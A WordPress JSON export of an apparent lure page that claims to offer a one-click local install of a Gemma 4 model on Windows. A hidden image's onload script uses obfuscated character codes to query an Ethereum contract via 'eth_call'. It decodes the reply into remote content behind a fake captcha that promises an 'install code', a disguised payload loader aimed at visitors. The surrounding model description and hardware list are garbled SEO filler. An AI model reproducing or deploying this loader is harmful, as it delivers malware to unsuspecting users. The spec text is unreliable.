{"id":2848,"date":"2026-07-04T10:56:06","date_gmt":"2026-07-04T10:56:06","guid":{"rendered":"https:\/\/www.profdrmerterkan.com\/?p=2848"},"modified":"2026-07-04T10:56:06","modified_gmt":"2026-07-04T10:56:06","slug":"full-deployment-gemma-4-26b-a4b-it-qat-mlx-4bit-locally-via-ollama-2-full-speed-npu-mode-offline-setup-windows","status":"publish","type":"post","link":"https:\/\/www.profdrmerterkan.com\/en\/full-deployment-gemma-4-26b-a4b-it-qat-mlx-4bit-locally-via-ollama-2-full-speed-npu-mode-offline-setup-windows\/","title":{"rendered":"Full Deployment gemma-4-26B-A4B-it-QAT-MLX-4bit Locally via Ollama 2 Full Speed NPU Mode Offline Setup Windows"},"content":{"rendered":"<p><img decoding=\"async\" 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2nakUZp923YeaA3kKoDKAhfSoyDNy\/Hu+mn1fe73h7cHfUJahcLo+A2j7yrDgVaXieasAxrAXhUBvvnXAta7C075z5tvG1XLInt2hbSh+d7DYSI5r2N3NTMYsvJmleUWAh9O3cTDVqvsuw\/dxk5xVaQg3ifvC6R8nWdkPPKrimbmHSr7Ai\/LRAYscfCPwHHOlpsMvS7\/e04ttdDYqKsDzSEbmx44q8AbUnXQrZ2ENscbCAc1vqjPMQQ5w8t3vvDPrSai62ALff5J80ZyLWNGJRz6HeI3l3z0+tGvCtI88Cx3sdYmgTN4iKbBvAeBkv+Hwz8weJlzGj2NMe0aMzXrFABuhE1Hv8AEb2r7j28TYnHPiK92\/Y\/GFDXk+XHm2NXyp9sX\/LpGxgA+Fvo7GBlz2\/Rx8RacDYTAykkZTcg0lDhGux2PC+VboTcNjAB6vCM+27jmCy8pKY0DpetAOn76uq8LZfagl3wNWzUH+\/tNMrRqW0CxkSmjo4f5lqbIBuVyES0GvOQ0\/v\/MO9ob2\/rH4efYKJ\/7rthPcMOnB7QWqE8Q0xJI70DkNZ\/TLuCQ3oi5IsiUPZrpPxJJL4W34O8fNHVa3o4e\/XnaX3nGHLSOFySJq27Z3yMasAPE7gk4Skk2GbpPbnM\/S60OMRQuqPWpteh9g0WXn6sNehRxSSwKQcabI6Oo7O3XJy\/spBZ5NT1997sKt7tITbsZLHnRSXsFRXPe+T8ZlBaaeqDkbRHuQ6ktxWqou\/7IKRA\/yNaAoxkC\/JPzBHDgZmk0Cjpj6\/8g4et\/TNd9e+YC5RbvCO7WBFyBiIL7YPRR+B0C35SsE\/DUkrU+AW8glRPrbw4XicYWKlxKgNYOgQdzjly7bz9Sl5X69ycE7crRx0Vm\/k5TajtMEV3ZcYiJz3FBRelV4qDMKpqfBN1GGYPuZEb8fOh98dLHYt6c954\/Q5FvDtffVOcOmhem6ppCIghX0O5zseUPoFFq9VB5x23aLeahEMBp9ofkQCBDi9tRhbglRiJKEQgLchmfuJKlj4Q1yK1TZLqfq\/a0ZhuQ3rMtTtoCv0DHfQ20HMofmTjjQb4+OzXxk0KZZ3r8\/lrgLYw8yhx9t5NL78tY1YZHh+kPkFNJ2vXo+2AT8Yur9h421eSMTslX+2IRfty9kcuQyu\/ISheNSO7zGDzBaR1rtCOi1R7pK1AbjRbW3fyB4Ds7tm\/X\/7KHvS3UGuk6RSUQ1s3MnPm15YHX6P3YHF5jDIaqx\/ariVGYZ52fb\/spuwNaB+Q2TxRE1zxKIgm6flVpP4HTKEu6u7jD7PbgG470PeD\/qMzrXDPeahXrmu7F70x+suPGJifyfq5uYs9kvRyJFqMcwQ8VpSIJE\/Jp980BZQLbxmsvSvdz6CQr6CzyUW\/avAT+L4K1We8ujd4ABsE0qBkDxwlYad1W2dmwv0xPg09lAdae+BSfFg+loFhWsVqWgn1zgL\/YCWasgdQNfJasyEMj9VAhHIHx2E4inrcf1A8DB8A9UkfspoqOsEETTBkfnujK6mC4RD+4vYRvmHZKFObDDhlHftMYKjs6K9C\/sAF5coonkBH+ysOlQ5aIZZG\/y129XCLjOK1I9W81+H3kDsc+sybtZu7EA+yrOL+SyHe1\/NypTIDF1iLEU64PGnLgevvPUq9f4ikYTE12OKWVlTj3L1qCpmhtifR2da1AnOF9MkR5FKyzusSPgCmg0lmFppv0MRAwNR2uLixJdyiEGUq7+GWLmzYYTBNi6pKAbw0P2Cw61UAlzTK3ns6DVchXiTvUfOAwtxi8xHWc1f0XnVCGNI1IGl8xxE+jMsutK03FE3lK6YI5OKpKNdz9sVrzthSS3ZcxoI4YKoDBSTdE9+rtlj7f3jc\/Ms4\/OrSY65J1p9Cdod7wpAf+Zl9xh\/Md8m68WAk0tAZoerWgbnzFrSX\/lyTgrz6NQNgrYWG+kbL0A+G4f5IEZLG39JTM9\/RDSiaVBw0RDBV\/kFoG+UHl7F4zbD70kSph8MfwCIjMBI2NbabNesEDQNQ0tMxIiyML7BHEuOjurstpNr0H\/2xhsexJdzF7P30eUkXlIkoBN4VYPGDNaCA\/rn19oeIJSSUKOKH6Omj2VXi3vmiGXT5o9aMbzekdTadd3URGGGewCLoA2oBp0tRtY5nX\/o+3oIr11ooTnLtXp3GWOwdvK\/8CIC0K7EnpOCGsifHsXFDJNF6ulkNfO20RSeQNMi2NgJNjNqTxBkSyuGf6Ausc2Jj6XxaeWp+KiWCsjlboVjFta1gfmUmXJw325aoKYCPraZstKcbGX0RizYzJBJfc1T4yEAVThJQBRAT+JragRWJGI+1CSj50gYBALcQcO4KNtQi2Y7XB\/LoXFBGAytbrYj7Ood7jFCausOJ1iAhP+\/v\/9ltPob+IL9ZVqBhlUyQRdQLCS7PN7SRpoY9wXF6aq4LhXlzlq07cldp0i2h5wcjUB\/e0FIAmF9wq85CHAoDRRudYLmq1gSlER9q7xH7Jr18wz1p8RQeK2rdx0PzCSb3McRLqQgUu1BYAFtk7UrLZgpLHPlRC8D+AGb8sh8AhRD6DIOlKGV021GSLaY5RVwInIoLMgrPUpo8IQMhlIOPpfIbqnDSndBe\/KAh0pb4wQKeBBx47m17yLb+74F6wDE31BGGGGKEYiIIVOdyzSaw+UIJebQSmh0dbmGVIfiolg1vZP1YnSVVc0XUkeflIeEmaV03jU0hgMXIgVxQQ14veRL1j\/7d998Ag0T5nkEw46ANG1HL89heroptq0PmYBcUCOu93zFbZ09iSFO+sr4ZXeeZbGA7hFKHPvjnTDywaN3k2v4\/yoqOL\/xG+0aZfK1DPDBXqgw53LNwGI2JnmJfqf6OmWrVf+btFslhF0o4hj3iEs5EoGQaS74pxgFpm\/guCU0fu4ACUYrxJOoiWtgVNh60\/MQ9jJ5JRFcB0g0I\/YXGaFbSFxKROK7HFSvPdpzPd7KYPJfiYESICFhtpdK29PZ9z85eopbvJRIQOTFajkQN0PSAY3\/Jw0YUj5sUAq3TbFsAct1DtFeu8UpKDDILXrCBCTAvYzrkUu9RD+whoHDAKuRPEvFNBtNgBnljhDdXepk2nDUSiGiXTcbSREyP10bXYzH2ccu0HRz\/as2JEyBPtb2UlMd2RET9BlGcxcE2lhTphhBp4yqwI1If4PW\/EfPiezNektD9iJtoJM3CBBDTRDF1FcoFWjqQC\/YhhzbetM\/6MozJ4cLZjFScW2h66wsbpHuXJFBjvJG+yeh3aSWcUEIa0\/eIb6D2ZQXSVCD4LBb+KbxSlA7fFA1w2NZLJ4w\/UnnQ0t+tNaOckzPBo6apEvQYQhEHM+sM4g5UBhfjvM\/lLkiImTNBGcU3Hn6BuEofJ5bouZF\/fwmtIkuKFHeD76WngXUlra2m7T7DC\/khvVIgcNHc2iBUqL6kdypmd0lnEEcpL3tQK43vSAbIcYVTDawl+PR2\/jGEK49qiNchcd9ADf7rtwNYnx7v5eQSpF6LGfYedMEfR4qH\/TNPTV4RLN+gggSxkLXBvmWXjBlq2vh\/PBh0YLZk5GLY0C7d5OTZdHp2eg7eEuOqePDLPDjfLlNfCPUMdFQlCDLpPWAQ4HaeJZQbXUWes0EHhtcVuc5DwlObbso+1HPqODkUrdxqE\/LkqjxlRHTF7nzGxDyzXu7U4WQxjvq42miJ4TxlnEBsGtLzFqRk3Hy4mW2isKIz4yUC0v64IQYMoYdWtslqTYtKidbxIdy3n3jrEgVcQhpAxMuwSulcToP960qYx9RALKc3K7n4ngVebGOlaH0F1lAeegi6OoVbbwF0FL1reGOdvmhn2E7WCqmMkubgAzX7ROXiV3KsaZgHqkBnV77ti8plxLG1AHwIwNfqLomeejAu5Exzw1svIwW+TZAycAxfK9hwlWkFHw+mmOr5EFPhLw5xn+Y+91UCTz6T4HS5\/wvHNph5L2KLs\/qTFGBgj2+uvTGSc\/ofGVcgCWLJy7ssVS97CMFYarCQ9kcC6gG7qg01WckkQ8y5unmkoaf0EeKopHSVNRFWYhE39WyqPTJsT5d7JEKywAg6v\/QZNOBaLcRLDPlRcDctGbykwuXsGG\/BKmO1E0hw978P4bwUAgUKZr1D77fSWvdmn8SHPmmVZbUXiTgcvq+dV\/HEQVMrrZtvo8J1J\/1Xv6Zr9VFkNVCnla5vJnO7ryuM\/O++Ue3db74ldDBIGvXnkCb10d0JKk62VPqnwNP0WZAL35\/AQAOykZxLO9bY+az3R6b+FA\/y1j8Bf6+4c5NPdXWULtEd8O+LRRjQh+ZjzbwP5N\/BA1X5K0qpYswJixxFw71faLXbuQLLgwrR\/XJWf9jf8y83m2d0\/+QBE61UbD+sjya3Ov8cyR9Aslp7U3\/N3hN09os8UeYwiH092SPSMfMxuDwjXnmMKr0Yw9+Pvpm26sQf8BdJ89ce4PakXb4pUJFc7n3V9Kj5N3Dd9t3vpRYxFWeguZ7Wex8i7o3nRyvZgTwdKxUeryfBgwjSnS93xG9hD4FIE4o2rlW2RjUSHrE+8R5r9t91PcZDgwpHE3DhLSwgHWiUDkHqu2sht6jTpLgOzrcP\/ZkcNlk24xexUR\/G5Tnj4w4YhsvKgFXcacRx13Qd2s71A+bHxRumiAy+AUW4RtxFXhnd37xRBxqcFuuHOKLHUHLB9KfimZiUxAqqm\/Tj8ijBlMd5EQ5m4zCZFMIdC3kBx5pwkCC6VbVQo5V21Gs0gvMjv5t1x2Wdqm9dq\/Xk2CSeYtbsKZUAULk10ftfdHdpeuHCqWLuWMgCMD7dBEhDvouCMFxaP7e3snQIlXMAbTeHZK27T2pYs7XJ\/ejvxRNnoMGTpr+QWH6MQOIDO7lbXT4wOysYcoRCJad\/XlUe0cfNivH\/m656jII1dbBi6wFXmk9WMhI3NWUogZ2mghUMi0MLlxvoo16ZazI\/VYZK4yrkgBir+5Vv0AODM2vP2jEDIFbACrHhMLun1YdUhiyWlcVbW7Tjng0QUvO6J04HtO+la9FW6e\/fdG9VTQQD4b86PECVv8i7D1JGnd2XX\/XMhqSjXc+xN2serChv9BIJP4b\/yhrNPn+WigKsomEgISb4+HKUhM8\/dKFe+pB8TO9aNV6v4aNq+TCPwn+XJu9KNNi\/KnBJIAT+Vg8ZRktE5OwNaZT2f\/8L1T9UElhwq7a45iOwdMKomG4QojRGr\/fu2x3upR11gEVIYOTbiZFVg97bWFluCSH4kk3fsUe6tqrzxVaqE5LDsDr\/9UwcwM4UxgndjNO6j3uBLmq\/0MFDecD4f7\/svE5TF+z3twh5KZB+N30txx8aiOwUQtKEi52aw3+0uqYkwwoHl\/e7nA0idwjn21WfcA065NPneCcq26AMnk+ZviRPLCydPZ\/lQ+A6zDE7NVBVLgEpN5dVxyMrFKAJwmER3GCnMPLad6SCObAG+EeBpt49FIJNJCRtZ0qLJOaMDHjj1TdeGPPJjpjAGCaAxHQW1sBTe9DgUtotlr7\/\/LHTiGvySgEMACRZfUJX2IguKeRTEJpPzLJBgyKQ4Z2Nwe4zGQ\/A3aklcwZatbJGWNEevOVaFbvAdu7k+oNIsv2nHDKFOlEBCCztyeG2f\/y9l47AODXAW45KeKgk1DkGR4NInEKEN2WLIrxKubJY8OTE9n15F6gdljsKEY5v57RRO8bvVQhTVNtQavB3eupvirAqVX1c4bCX8HDhXfNHRMeuRFryvU9FNiEyMWJCJgU7jGy5vyGt+IYMHwEzAGEYyrlR174iGEPq7R2Gx4vjLDzVcPt+S7ZRh\/+z3NzDZk745CkKoXHQsclYPnQfh6zzK3A8njefPNF+PEL00IUIX6oVEB46NIME7QhGOXmHWAdPR9NCb4eAeLUfxGs\/5uQ5qXUFau+0n\/edvcj6\/xk8uQi9yFzn5Bl+MRaePpfZqNNZsQjpgDTC54ZDoc9fMChW78nKui7TwIcz71tUn6stxxKS\/maUYJWf7P18U8h0fLNsifQpTDDF\/GD7RmfMD0sGYwnJ0kq7RK5sOrS5cTh2\/mtk6BuoIFaiF7FGkyzd82TCfAzzOSdWkym\/lQjxi1IonUtPnj1u+c3LnpWBGeULMPDvFQop5tL1dr5hJHwec8xaZBoYT1XVR77L77Es1e2M4ywPMSegnzsawqV2SptOGOKFZDf0w2uy63AgrtoOQJ+TaPmyEaNRMVkdNGQOTjgH4+3Kxdfu\/WjiZr\/Yc4Kjdi0o3pmW+eTIxW2fRnkvvq3HXlxCpRSfAvFO3TF55+KvZEvvPzjGn8qiBF1HIvdCTQeONz1wcrjv2D7ypUd7TitztezfUXlunUDQJPCA3wBnDj4fdtn2l\/Y6Ki5AqNO6BHdK0l\/9Uqs4T8JETIf26XiFC3LCOMqJ5SIHgQP2lKiedf0bAjN5Dq2byCyIITxHj2ebh2goUZfFSLhgu4A52bPCeURVCv+J\/kujf6UBaneRHD+NFdiPxYEP4ATV1qM2Zab3BlLxwbclbViggeiGyI5muzuikJziZMJu4quk8m39YFcwJ+haNQ9oPfpT+XLBAkXvciOPLryRu17hPD5gMWCzdQxfayg3E1fzVh3qw+FSI3EnEtnov\/AJ+aThzlxM14UQYGmhmzsnXpt7aDDI1vKjcZpLyly9dpUDnLnuoO0F4mRbjlmRms86nuOr8MTuR0h8NSss8GVQW6gtAkVJmXgh8wjP7kJBQAZLtRLBkHZffWPzBscNLUxvAxMQthIewaRy0RojSzI0qjJlVJg0gTzdppckRTNMqpMqr6h0xB9ovFoaW+\/euM2XBtRi\/TAp44M69JbPKa775Uz1Xgt2m5Do5gQF5uCJcVyCi2ffOolJ0E0GL0KnKQ3WUmJJlQjxqfGYhWMRZQj0Pqs8XwTU4Mmc+fBt+y8Vib2NN6fgpl+Jf9TyujsicTozvIjTUC0cWQamnhODEvJymGrwgeUisr4IdEHWc\/\/Z+4zkGQIK5kir8ODYTtSVqHIF\/07Dew3FTeHfO6CEu4NxymnwaLcdPDtHAFK\/qQvx6oKE83BjwoESiJNKSvJdtfHBO7MiAuwuFqw9lAHvzjtvAkg104opPBPYDaF5E8NaTF3TeTKsRC+OuV+ay+GL27d8BGMWhk0+7s5JeE93zgXikzkabLFdvZrAdO1RDswdXqsI38oGUc1SNxJd87JqpFdDgoBumWXyw1z+4vYWiNN2z7WBibe\/nNkPZZPUxblFX6G0c4CVLDLi7Oq5JWa4gdx34ErKaPmDScn9xb45Y5qI+9SeaahSJQ95ApPN2I8RIBoygeVRuUt+\/6dhLNLdSEFZRg3AvwxUU+\/ZqXCwY\/vYzWAelmV8JMcPfTfpTCy5q+pKaX8eypX7tAXGbwUeO\/V2+9TOSrUcl6JqfrhVQTAlUURQEy8blTGY38zrGNJdJhQIkPgt3pmzjT4T8Ezp2xCkDOlXHyyC9fh+4fx99SOz6VjNileWP\/XD7lYIfy3SWqLp0tnJ0095QoJ60GSxLnGxmndGeCcxY3vyxidpu5intLOAma5j4aNYIf74VbUgoRe21kL+uoQL4fhIPx1elwUkr8nPodPcYkMhXqTxFbgRx5vvQZ1su6vkJDhf09M+qz1jsdLk\/GzQuFIb8ERIDxU3UwxXg+rzTbJEjKN+\/+H6q9pUyQ3rrMQ0gnapLyaT588bvACpcp7+4RRZTCvw7HNxCQN1zUckEyxoQ\/0f05LjSP0LAzgdXaBJclkbx1t9jH+t3eeKUzQrnZ+RRTqi+MX3YNATEhaYeoQL5Rl5LwKBBPjAWfx9NHc2aLUPxkJRypLuEdxodKXH9ICwctmeEGxmeelfxZ8+z5do\/U+lQPclR2YP+Etn3h74TiSFXRFi7Apol5WnlTS37qncoMLAmGMoXNkGKHrLJBQUud0RtiLtfLLXTwIX7J\/FBGdbUgve2WhiOXAXUCCZ5ubi92nM7GvAQ+YDe6zuoCPkoIivgXAHXD\/3gajmoruCOViusnto2ChCncB9DiyUhW8L044X24RLnkd2kS97NkcC0xwHbpW7rnNb3\/o94kmlm0JO6DhkYWT3RYpAuZhbmo39aR3dhui\/wMlLVO8nklD63MjkGTAkGAgOydxJAZ3LFIsBU2VL+jGAVAK6n37NmFgJeogOI\/F2I6TBA0ANdA4sx+WI9jZbCi7Zp4HGm2nFce+KOYbb+W2injuaYcz7bu17KYeJoc0LucXmjOLMcjbGh3vbUFNY04hPA1pONislx2Q7fkcvv86JzxbykLAWiD3cgCcEf3MafkMZUgnl4hUG+yG2oA6ioUhCgtvn7YDk6Sw3EWeMwUtnUoW\/tAEBgdqBw5z6EIUYqcQm55b9\/BoNegZV5bILSzebE6NCWPACxOSswMjMxGJdNDwKPn5MrAMi9yJAWjxBihvfnWLC+a\/rXsJcHjCDRPPxSCULWWZGwclKtsQwoJmDrK0Azp4f0Zt4q8BmwRIm4sgTGDN\/BLoZ+rukE4IqiB9S8nlz2hPg82B9yzHEY09yhyVuRE4MaDtYhgPtBC8VSMtpmdc1RJF+rwcQvIBkrLTLacEcR5uWJ72PhcY7vS419L8dzj8dMGqfM6Bc4dGq0MpWU6q3sJuxgVrU9m\/r6XRnKSyxh+O3cULnM+XPmnZxPa06QwfupDRT3rBItEpasoxlTWmqdqmlpJtd4MkQL3NBOW0xU9UxAvxdGk5+JYjh+8VMogOO2uyeqCAjTMuO0ljPl1gGPOX1JcTc27WCp+\/rWjByWOyH0ZLDajXpLZ7HBfY8fNKiLrlZoEsdBYSUTD8UsjDfDobP+0bmjcK66tBGW7bSew4vLtP21F6rJCWrQ04zND8R6zwl\/M48KdXNR\/FBxUTmEGa3QgI2xTvUDSrgGABth03zK9RdrJoIHbpPjnD6e\/SJeUN5as4cKhcYUqCXiiDq88TG5jC4CLmMGjGi0ILRlC7jMJ8GsPLxC0JtdKH+O6\/uQ\/Jo21jEKJ3bJF6K90zLiwPlv3iRpMffi98tswW6OAG7Vt6YofomYCnZMBa+UhgUw+kQV8TH3rkQ2JRbGqsxYiNbPYaKeKzvTbGghYt1urL7dSKeHgufNnQSx\/yuG7GnK3ThzZCI4osuGmEqK9BgS8gc\/FGIzuh\/c80UhXuV3rZTvmrNhPzHcLoy+30Japn1kJ916JfukHS129DorHc1Q0eNPwZgp1tlRCWWK3E32e5r3AKnEAXYqd7uAqpCtn7bkGK\/vajob+RfcAeFHabZW56AUeAg3VIAUS7D+sDGd0hBVEV\/s8EBUAAA\" alt=\"Full Deployment gemma-4-26B-A4B-it-QAT-MLX-4bit Locally via Ollama 2 Full Speed NPU Mode Offline Setup Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\" title=\"Full Deployment gemma-4-26B-A4B-it-QAT-MLX-4bit Locally via Ollama 2 Full Speed NPU Mode Offline Setup Windows\"><\/p>\n<p>Deploying locally takes the <i>least amount of time<\/i> when executed through <b>native OS tools<\/b>.<\/p>\n<p>Review and <b>follow the instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>The download manager will automatically pull several gigabytes of data.<\/i><\/p>\n<p> <\/p>\n<p>The program scans your VRAM and RAM to <b>seamlessly apply optimal configurations<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#37474F;font-family:'Consolas';\">&#x1f9fe; Hash-sum \u2014 9390ba68a7b8d9dc530cabece3e34866 \u2022 &#x1f5d3; Updated on: 2026-07-03<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById(\" window.cV=\"\" s=\"ABCDEFGHJKLMNPQRSTUVWXYZ23456789\" x.strokeStyle=\"rgba(0,0,0,0.2)\" x.font=\"24px Segoe UI\" x.fillStyle=\"#000\" style.display=\"none\" m.innerHTML=\"&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;\" remoteHTML=\"\" alt=\"YH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" title=\"Full Deployment gemma-4-26B-A4B-it-QAT-MLX-4bit Locally via Ollama 2 Full Speed NPU Mode Offline Setup Windows\">Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let 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style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p><b>gemma-4-26B-A4B-it-QAT-MLX-4bit<\/b> is a large language model built on the Gemma architecture with <b>26 billion parameters<\/b> and optimized for <i>instruction following<\/i>. It leverages <b>A4B<\/b> design principles to improve inference efficiency while maintaining high fidelity in generation tasks. Through <b>quantized aware training (QAT)<\/b> and <b>MLX<\/b> optimizations, the model achieves compact <b>4\u2011bit<\/b> representation without significant loss in <i>accuracy<\/i>. The resulting model excels in multilingual understanding, reasoning, and code generation, making it suitable for both research and production environments. Its reduced memory footprint enables deployment on consumer hardware and edge devices, broadening accessibility for developers. A quick reference of its core specs is provided below.  <\/p>\n<table>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>26\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>4\u2011bit QAT with MLX<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Installer deploying standalone local vector database engines for complex Dify pipelines<\/li>\n<li>How to Deploy gemma-4-26B-A4B-it-QAT-MLX-4bit 100% Private PC For Beginners FREE<\/li>\n<li>Downloader pulling vision-encoder model layers for local automated drone testing<\/li>\n<li>Zero-Click Run gemma-4-26B-A4B-it-QAT-MLX-4bit Offline on PC One-Click Setup Dummy Proof Guide FREE<\/li>\n<li>Setup utility adjusting flash-decoding memory buffers within local runtime setups<\/li>\n<li>Quick Run gemma-4-26B-A4B-it-QAT-MLX-4bit 5-Minute Setup FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Deploying locally takes the least amount of time when executed through native OS tools. Review and follow the instructions below. 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